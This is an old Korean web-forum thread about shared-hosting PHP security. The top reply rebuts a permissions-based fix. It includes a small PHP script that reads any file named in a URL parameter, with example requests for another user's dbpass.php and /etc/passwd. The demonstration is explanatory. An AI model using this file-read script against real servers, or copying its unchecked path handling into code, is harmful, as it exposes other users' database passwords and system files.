같은 시스템을 쓰는 사용자에겐 말씀하신 방법도 속수무책이죠. ^^;
A 사용자가 다음과 같은 PHP 스크립트(cat.php)를 하나 만들어서 B 사용자 경로에 있는 dbpass.ph
p 라는 파일을 웹브라우져(nobody 권한)로 읽어들이면? <?
if ($file != "") {
$f = fopen($file, "r");
header("Content-type: text/plain");
print fread($f, filesize($file));
fclose($f);
}
?>
http://domain/cat.php?file=/home/httpd/html/dbpass.php
http://domain/cat.php?file=/etc/passwd
타인의 계정은 물론 시스템 설정파일 등도 nobody에게 읽기가 허용된 파일들은 죄다 노출될
수 있겠지요. : 권한설정과 사용자만 제대로 설정하시면 안전합니다.
: 보통 linux를 쓰시면 web 사용자는 nobody 로 접근을 해서 일반 html 문서나
: cgi, php등의 프로그램을 실행합니다.
: 따라서 모든 web 관련 파일의 소유권을 nobody 로 하시고 권한을 770 등으로
: 소유권자와 같은 그룹 사용자에게만 모든 권한을 주면 됩니다.
: 이만...
:
:
: : 예를들어 php로 게시판을 만들었는데..
: : 이것이 /home/httpd/html/board.php3 라고 하는 파일이라면..
: : 이것을 일반 계정을 가진 사람이 들어와서 보면
: : 소스파일을 볼 수가 있던데..
: : 이렇게되면 DB접속 암호를 알 수 있지 않나요?
: : 이것을 막는 방법은 없나요?
: : 그렇다구 접근권한을 막아놓자니..
: : 웹서비스가 안되구...
: : 그럼 답변기다리겠습니다.
: : 이만...
:
: --
: 이 곳에 서명을 적어주십시오.
: ....